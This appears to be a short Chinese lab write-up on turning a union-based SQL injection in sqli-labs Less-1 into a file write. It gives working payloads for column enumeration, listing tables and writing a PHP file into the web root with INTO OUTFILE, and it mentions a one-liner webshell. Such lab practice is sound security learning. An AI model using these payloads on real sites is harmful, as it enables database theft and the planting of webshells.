sqlilabs注入到webshell的无聊尝试
使用phpstudy搭建好环境,PHP环境为5.6.9,数据库版本为5.7
Less-1
很常见的注入,单引号报错,再加一个单引号不报错,猜测数据库语句为:
select * from xxx where id='$id' limit 1
所以我们构建payload:
?id=1' order by 3 --+
?id=1' order by 4 --+
表明有三个字段,多余的就不赘述了
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database() --+
尝试能不能向外部写文件
?id=-1' union select 1,2,"outfile test" into outfile "d://test.txt" --+
返回了这个信息:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
由于这个选项是只读的,所以没办法修改,所以人为修改一下配置文件my.ini
在mysqld这个配置项下新增
secure_file_priv=''
重新启动数据库,执行:
?id=-1' union select 1,2,"outfile test" into outfile "d://test.txt" --+
没有回显,查看d盘,确实有生成test.txt,接下来看看能不能生成php文件,我们首先需要获取到php目录路径,但是我还真就没找到好的方法来获取路径,可能需要通过某些报错来搞
?id=-1' union select 2,2,"<?php phpinfo(); ?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\shell.php" --+
没有回显,但是php根目录下生成了shell.php,此时访问shell.php,要搞一句话原理类似
局限性很大,需要知道网站路径,开启写文件权限,看看之后能不能利用日志来提权